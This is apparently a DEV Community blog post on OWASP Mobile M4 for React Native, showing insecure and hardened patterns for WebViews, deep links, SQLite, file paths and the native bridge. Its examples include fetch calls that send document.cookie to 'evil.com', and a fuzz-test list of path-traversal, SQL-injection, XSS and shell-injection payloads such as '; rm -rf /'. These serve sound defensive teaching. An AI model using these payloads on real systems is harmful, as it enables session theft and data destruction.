DEV Community

Cover image for Your React Native App Trusts Too Much: OWASP M4 in Practice
Barış Kandemir
Barış Kandemir

Posted on

Your React Native App Trusts Too Much: OWASP M4 in Practice

There's a belief I run into constantly in React Native codebases: "React Native has no DOM, so XSS isn't our problem."

Half true. <Text> doesn't render HTML, so classic DOM-based XSS doesn't apply. But your app also:

  • Embeds WebViews (a real browser engine)
  • Accepts deep links (URLs from anyone)
  • Passes data over the native bridge
  • Queries a local SQLite database
  • Reads from the file system
  • Consumes API responses

Every one of those is a trust boundary. OWASP M4: Insufficient Input/Output Validation is what happens when you don't treat them as such.

This is part 4 of a series walking the OWASP Mobile Top 10 from a React Native angle. Part 3 covered [authentication and authorization]. Today: never trusting data.


What OWASP actually says about M4

Metric Rating
Exploitability DIFFICULT
Prevalence COMMON
Detectability EASY
Impact SEVERE

Look at that combination for a second. Easy to detect, severe impact, common in the wild. That means attackers find these fast — and so would you, if you ran the test. Most teams never do.


Validation and encoding are not the same job

This trips people up constantly, so let's be precise:

Input validation asks "is this data shaped the way I expect?" → the answer is accept or reject.

Output encoding asks "is this data safe where I'm about to put it?" → the answer is transform.

// Username passes validation: letters and digits only
const isValid = /^[a-zA-Z0-9]+$/.test(username);  // ✅

// But the same value means different things downstream:
// SQL       → must be parameterized
// HTML      → must be encoded
// Shell     → must be escaped
// File path → must be normalized
Enter fullscreen mode Exit fullscreen mode

Validation makes input acceptable. Encoding makes it safe in a specific context. You need both. One does not substitute for the other.

And the corollary: allowlist beats denylist, always.

// ❌ You will never finish this list
input.replace(/<script>/gi, '')   // <ScRiPt>? <scr<script>ipt>?
     .replace(/\.\.\//g, '');     // ....//? %2e%2e%2f?

// ✅ Finite, predictable, reviewable
function validateUsername(input) {
  if (typeof input !== 'string') return null;
  if (input.length < 3 || input.length > 20) return null;
  if (!/^[a-z0-9_]+$/.test(input)) return null;
  return input;
}
Enter fullscreen mode Exit fullscreen mode

WebView is your biggest attack surface

If you take one thing from this post: WebView is not "just a component." It's a full browser engine running inside your app, and it brings the entire browser threat model with it.

The CVE that made this concrete

CVE-2020-6506 was a universal XSS in the Android WebView system component — cross-origin iframes could execute arbitrary JavaScript in the top-level document. It hit React Native apps using react-native-webview that allowed navigation to arbitrary URLs, on devices with Android WebView older than 83.0.4103.106.

Translation: user opens a harmless-looking page, an iframe on that page runs JS in the top-level context, and now it has access to whatever lives in that WebView — session state, the postMessage channel, everything. react-native-webview 11.0.0 added a mitigation prop.

There's an older one worth knowing too. Early WebView bridge implementations injected bridge messages into a string that got eval'd inside the WebView. Send ');alert('hello and you had arbitrary code execution — particularly nasty when the data came from an external API.

What insecure looks like

// ❌ Basically every dangerous prop at once
<WebView
  source={{ uri: url }}                    // unvalidated
  originWhitelist={['*']}                  // go anywhere
  allowFileAccess={true}                   // file:// access
  allowUniversalAccessFromFileURLs={true}  // very bad
  mixedContentMode="always"                // accepts HTTP
  injectedJavaScript={`
    document.body.innerHTML = '${userComment}';  // string injection
  `}
/>
Enter fullscreen mode Exit fullscreen mode

What secure looks like

const ALLOWED_ORIGINS = [
  'https://app.mycompany.com',
  'https://payments.mycompany.com',
];

function isAllowedUrl(url) {
  try {
    const parsed = new URL(url);
    if (parsed.protocol !== 'https:') return false;
    return ALLOWED_ORIGINS.includes(parsed.origin);
  } catch {
    return false;  // unparseable = reject
  }
}

function SecureWebView({ url }) {
  const handleShouldStartLoad = useCallback((request) => {
    const allowed = isAllowedUrl(request.url);
    if (!allowed) console.warn('Blocked navigation:', request.url);
    return allowed;  // false cancels the navigation
  }, []);

  if (!isAllowedUrl(url)) return <ErrorScreen />;

  return (
    <WebView
      source={{ uri: url }}
      originWhitelist={ALLOWED_ORIGINS}
      onShouldStartLoadWithRequest={handleShouldStartLoad}
      onMessage={handleMessage}
      allowFileAccess={false}
      allowFileAccessFromFileURLs={false}
      allowUniversalAccessFromFileURLs={false}
      mixedContentMode="never"
      javaScriptCanOpenWindowsAutomatically={false}
      setSupportMultipleWindows={false}
      thirdPartyCookiesEnabled={false}
    />
  );
}
Enter fullscreen mode Exit fullscreen mode

The injectedJavaScript trap

Whatever string you pass gets evaluated inside the WebView. Template literals are how you lose:

// ❌ user.name = "'); fetch('https://evil.com?c='+document.cookie); //"
const script = `setUser('${user.name}')`;

// ✅ JSON.stringify escapes quotes, backslashes, control chars
const script = `
  (function() {
    var payload = ${JSON.stringify({ name: user.name, id: user.id })};
    window.setUser(payload);
    true;
  })();
`;
Enter fullscreen mode Exit fullscreen mode

Better yet, don't inject at all — use postMessage and validate on both ends.

Validate what comes back

onMessage is an inbound channel from a browser you don't fully control. Parse defensively:

import { z } from 'zod';

const WebViewMessageSchema = z.discriminatedUnion('type', [
  z.object({ type: z.literal('CLOSE') }),
  z.object({
    type: z.literal('PAYMENT_SUCCESS'),
    orderId: z.string().regex(/^ORD-[0-9]{10}$/),
  }),
  z.object({
    type: z.literal('HEIGHT_CHANGED'),
    height: z.number().positive().max(20000),  // cap it
  }),
]);

const handleMessage = useCallback((event) => {
  let payload;
  try {
    payload = JSON.parse(event.nativeEvent.data);
  } catch {
    return;  // not JSON, drop it
  }

  const result = WebViewMessageSchema.safeParse(payload);
  if (!result.success) return;

  switch (result.data.type) {
    case 'CLOSE': navigation.goBack(); break;
    case 'PAYMENT_SUCCESS': handleSuccess(result.data.orderId); break;
    default: break;  // unknown type, ignore
  }
}, []);
Enter fullscreen mode Exit fullscreen mode

That .max(20000) on height isn't paranoia. A page that reports a height of 999999999 will happily blow up your layout.


Deep links are commands from strangers

Anyone can fire a deep link at your app. Treat the payload accordingly.

import { z } from 'zod';

const DeepLinkSchema = z.discriminatedUnion('screen', [
  z.object({ screen: z.literal('profile'), userId: z.string().uuid() }),
  z.object({ screen: z.literal('product'), productId: z.string().regex(/^[A-Z0-9]{8}$/) }),
  z.object({ screen: z.literal('order'), orderId: z.string().regex(/^ORD-[0-9]{10}$/) }),
]);

const APP_SCHEME = 'myapp';
const ALLOWED_HOSTS = ['app.mycompany.com'];

export function handleDeepLink(url, navigation) {
  let parsed;
  try {
    parsed = new URL(url);
  } catch {
    return false;
  }

  const isCustomScheme = parsed.protocol === `${APP_SCHEME}:`;
  const isUniversalLink =
    parsed.protocol === 'https:' && ALLOWED_HOSTS.includes(parsed.hostname);

  if (!isCustomScheme && !isUniversalLink) return false;

  const params = Object.fromEntries(parsed.searchParams.entries());
  const screen = parsed.pathname.replace(/^\//, '');

  const result = DeepLinkSchema.safeParse({ screen, ...params });
  if (!result.success) return false;

  const { screen: validScreen, ...validParams } = result.data;
  navigation.navigate(validScreen, validParams);
  return true;
}
Enter fullscreen mode Exit fullscreen mode

The classic bug here is forwarding a URL parameter straight into Linking.openURL or a WebView:

// ❌ myapp://open?url=javascript:fetch('https://evil.com?c='+document.cookie)
Linking.openURL(params.url);

// ✅
const SAFE_SCHEMES = ['https:', 'mailto:', 'tel:'];

async function safeOpenURL(url) {
  let parsed;
  try { parsed = new URL(url); } catch { return false; }
  if (!SAFE_SCHEMES.includes(parsed.protocol)) return false;
  if (!(await Linking.canOpenURL(url))) return false;
  await Linking.openURL(url);
  return true;
}
Enter fullscreen mode Exit fullscreen mode

javascript:, file:, intent:, and content: are all schemes you don't want to hand to the OS on a user's behalf.


SQL injection is alive and well on-device

"It's just local SQLite, who cares?" — a finance app once let users paste SQL into the search bar and lost months of user data overnight.

The Expo docs put it plainly: you must escape all user input passed to SQLite, and prepared statements are the effective defense because they separate query logic from input parameters, with SQLite escaping automatically.

// ❌
db.getAllAsync(`SELECT * FROM notes WHERE title LIKE '%${term}%'`);
// term = "'; DROP TABLE notes; --"

// ✅ parameterized
db.getAllAsync('SELECT * FROM notes WHERE title LIKE ?', [`%${term}%`]);
db.getFirstAsync('SELECT * FROM notes WHERE id = ?', [id]);
db.runAsync('UPDATE notes SET title = ? WHERE id = ?', [title, id]);

// ✅ named params
db.runAsync(
  'INSERT INTO notes (title, body) VALUES ($title, $body)',
  { $title: note.title, $body: note.body }
);
Enter fullscreen mode Exit fullscreen mode

expo-sqlite also ships a tagged template API that parameterizes automatically:

const notes = await db.sql`SELECT * FROM notes WHERE userId = ${userId}`;
Enter fullscreen mode Exit fullscreen mode

The part people miss

Placeholders only work for values. Column names and sort direction can't be parameterized — you need an allowlist:

// ❌
`SELECT * FROM notes ORDER BY ${sortBy} ${direction}`

// ✅ map user input to fixed values
const SORT_COLUMNS = { date: 'createdAt', title: 'title', size: 'byteSize' };
const SORT_DIRECTIONS = { asc: 'ASC', desc: 'DESC' };

const column = SORT_COLUMNS[sortBy] ?? 'createdAt';
const dir = SORT_DIRECTIONS[direction] ?? 'DESC';
return `SELECT * FROM notes ORDER BY ${column} ${dir}`;
Enter fullscreen mode Exit fullscreen mode

Path traversal in the file system

// ❌ filename = "../../../Library/Preferences/com.myapp.plist"
RNFS.readFile(`${RNFS.DocumentDirectoryPath}/${filename}`);
Enter fullscreen mode Exit fullscreen mode

Sanitizing a filename properly takes more steps than people expect:

const DOCS_DIR = RNFS.DocumentDirectoryPath;
const ALLOWED_EXT = ['.pdf', '.png', '.jpg', '.txt', '.json'];

function sanitizeFilename(input) {
  if (typeof input !== 'string') return null;

  // 1. decode first — defeats double-encoding (%252e%252e%252f)
  let name;
  try { name = decodeURIComponent(input); } catch { return null; }

  // 2. throw away every directory component
  name = name.split(/[/\\]/).pop();

  // 3. allowlist charset
  if (!/^[a-zA-Z0-9._-]+$/.test(name)) return null;

  // 4. no hidden files, no traversal remnants
  if (name.startsWith('.') || name.includes('..')) return null;

  // 5. length bounds
  if (name.length === 0 || name.length > 255) return null;

  // 6. extension allowlist
  if (!ALLOWED_EXT.some(ext => name.toLowerCase().endsWith(ext))) return null;

  return name;
}

async function readDocument(filename) {
  const safe = sanitizeFilename(filename);
  if (!safe) throw new Error('Invalid filename');

  const path = `${DOCS_DIR}/${safe}`;
  // 7. belt and braces: did we stay in the sandbox?
  if (!path.startsWith(DOCS_DIR + '/')) throw new Error('Path escape');

  return RNFS.readFile(path, 'utf8');
}
Enter fullscreen mode Exit fullscreen mode

Step 1 before step 2 matters. Decode after stripping directories and %2f..%2f walks right past you.


Don't trust your own backend either

This one gets pushback, so let me make the case. Your API is presumably secure. But malformed data can still reach you through a bad deploy, a cache layer, a backend bug, or an attacker with a proxy on a rooted device. Schema validation at the network boundary stops all of those at the edge instead of somewhere three components deep.

const UserProfileSchema = z.object({
  id: z.string().uuid(),
  displayName: z.string().max(100),
  avatarUrl: z.string().url().startsWith('https://'),  // rejects http://
  balance: z.number().nonnegative(),
  role: z.enum(['user', 'moderator', 'admin']),
});

async function fetchProfile(userId) {
  const response = await apiClient.get(`/users/${userId}`);
  const result = UserProfileSchema.safeParse(response.data);

  if (!result.success) {
    console.error('Schema validation failed:', result.error.issues);
    throw new Error('Invalid server response');
  }

  return result.data;  // validated and typed
}
Enter fullscreen mode Exit fullscreen mode

Bonus: you get TypeScript types for free via z.infer, and a crash report that says "schema validation failed at /users/:id" instead of "undefined is not an object" from a random render.

…or your own past self

Same logic, one step further. You validate the API response and write it to
SQLite. Six screens later you read that value back and treat it as trusted,
because you wrote it.

But you wrote it with the rules that shipped in that version. Ship v1.2
without the https:// check on avatarUrl, add the check in v1.5, and every
row written by v1.2 is still sitting there unvalidated. The source got fixed;
the local copy didn't.

Persisted data is an input boundary too — it just has a slow clock. A poisoned
value can sit for months and surface long after you added the check that would
have caught it.

// ❌ trusted because "we wrote it"
const profile = await db.getFirstAsync('SELECT * FROM profiles WHERE id = ?', [id]);
openWebView(profile.avatarUrl);

// ✅ validate on read, not only on write
const row = await db.getFirstAsync('SELECT * FROM profiles WHERE id = ?', [id]);
const profile = UserProfileSchema.parse(row);
openWebView(profile.avatarUrl);
Enter fullscreen mode Exit fullscreen mode

Re-parsing every row on every read gets expensive, so scope it: validate on
read for anything that flows into a sink — a WebView URL, Linking.openURL,
a native module argument, a query fragment. Display-only fields can stay
lenient; the worst case there is a rendering bug, not a code path.

(Credit to Rahul S in the comments for this one.)


The native bridge cuts both ways

const ProcessRequestSchema = z.object({
  filename: z.string().regex(/^[a-zA-Z0-9._-]+$/).max(255),
  format: z.enum(['pdf', 'png', 'jpg']),
  quality: z.number().int().min(1).max(100),
});

export async function processFile(request) {
  const result = ProcessRequestSchema.safeParse(request);
  if (!result.success) throw new Error('Invalid request');

  return NativeModules.FileProcessor.processFile(
    result.data.filename,
    result.data.format,
    result.data.quality,
  );
}
Enter fullscreen mode Exit fullscreen mode

Validate the response coming back too. Native modules can fail in ways your JS types promise they won't.


Patterns to ban outright

eval(configFromServer);                          // ❌
new Function('return ' + userInput);             // ❌
require(userProvidedPath);                       // ❌
setTimeout('doSomething(' + userInput + ')', 0); // ❌

// ✅ data-driven dispatch instead
const ACTIONS = {
  refresh: () => refreshData(),
  logout: () => handleLogout(),
  navigate: (params) => navigation.navigate(params.screen),
};

function handleRemoteAction(action, params) {
  const handler = ACTIONS[action];
  if (!handler) return console.warn('Unknown action:', action);
  handler(params);
}
Enter fullscreen mode Exit fullscreen mode

Enforce it in CI so it doesn't come back:

{
  "plugins": ["security"],
  "rules": {
    "no-eval": "error",
    "no-implied-eval": "error",
    "no-new-func": "error",
    "security/detect-eval-with-expression": "error",
    "security/detect-non-literal-fs-filename": "warn",
    "security/detect-object-injection": "warn"
  }
}
Enter fullscreen mode Exit fullscreen mode

Test it like an attacker would

Fuzz your validators. This suite takes ten minutes to write and catches real regressions:

const MALICIOUS_PAYLOADS = [
  // path traversal
  '../../../etc/passwd',
  '..%2f..%2f..%2fetc%2fpasswd',
  '....//....//etc/passwd',
  '%252e%252e%252f',
  // sql
  "' OR '1'='1",
  "'; DROP TABLE users; --",
  // xss
  '<script>alert(1)</script>',
  '<img src=x onerror=alert(1)>',
  'javascript:alert(document.cookie)',
  // command injection
  '; rm -rf /',
  '$(whoami)',
  '`id`',
  // length + null byte + unicode
  'A'.repeat(100000),
  'file.txt\0.png',
  '\uFEFF../etc/passwd',
];

describe('sanitizeFilename', () => {
  test.each(MALICIOUS_PAYLOADS)('rejects or neutralizes: %s', (payload) => {
    const result = sanitizeFilename(payload);
    if (result !== null) {
      expect(result).toMatch(/^[a-zA-Z0-9._-]+$/);
      expect(result).not.toContain('..');
    }
  });
});
Enter fullscreen mode Exit fullscreen mode

And test deep links from the shell, the way an attacker would:

adb shell am start -W -a android.intent.action.VIEW \
  -d "myapp://open?url=javascript:alert(1)" com.yourapp
Enter fullscreen mode Exit fullscreen mode

Where to start Monday morning

If your codebase has never been looked at through this lens, go in this order:

  1. Grep for template literals in SQL. db.\w+Async(`SELECT — fix every hit with ? placeholders.
  2. Grep for injectedJavaScript. Any ${} inside it is a live bug.
  3. Audit WebView props. originWhitelist={['*']} and missing onShouldStartLoadWithRequest are the common ones.
  4. Add maxLength to every TextInput. Cheapest win on the list.
  5. Schema-validate your deep link handler. It's the most exposed entry point you own.
  6. Add the ESLint rules. Stops the bleeding while you fix the rest.

Then the bigger lifts: schema validation at the API boundary, fuzz tests in CI, a centralized validation module so this logic lives in one reviewable place.


The short version

  • Every trust boundary is a validation point — API, deep links, WebView, bridge, clipboard, QR codes, push payloads
  • Allowlist beats denylist, every time
  • Validation and encoding are different jobs; you need both
  • Client-side validation is UX; the server must repeat it, because the attacker may never open your app
  • WebView is an embedded browser and carries every browser risk
  • Context determines the defense: same string, three different treatments in SQL, HTML, and a file path

M4 looks like the boring item on the list. Building a slick auth flow is more fun than adding maxLength to a text input. But attackers don't go where it's interesting — they go where it's weak.


Next up in this series: M5: Insecure Communication — TLS config, certificate pinning, and why "we use HTTPS" isn't the end of the conversation.

Have you found one of these in your own codebase? I'd genuinely like to hear which one — the WebView props and the ORDER BY allowlist are the two that seem to catch the most experienced teams off guard.


References

Top comments (2)

Collapse
 
circuit profile image
Rahul S

The boundary that list is missing is your own local store. Everyone schema-validates the API response on the way in, then reads the same value back out of SQLite or AsyncStorage six screens later and treats it as trusted because "we wrote it" — but a value that got poisoned once, or written by a previous app version with weaker checks, is now a permanent input nobody re-checks. Persisted data is an input boundary too, it just has a slow clock. I'd validate on read, not only on write, for anything that later flows into a WebView URL or a native call.

Collapse
 
bariskandemir profile image
Barış Kandemir

Good catch, added it to the post with credit!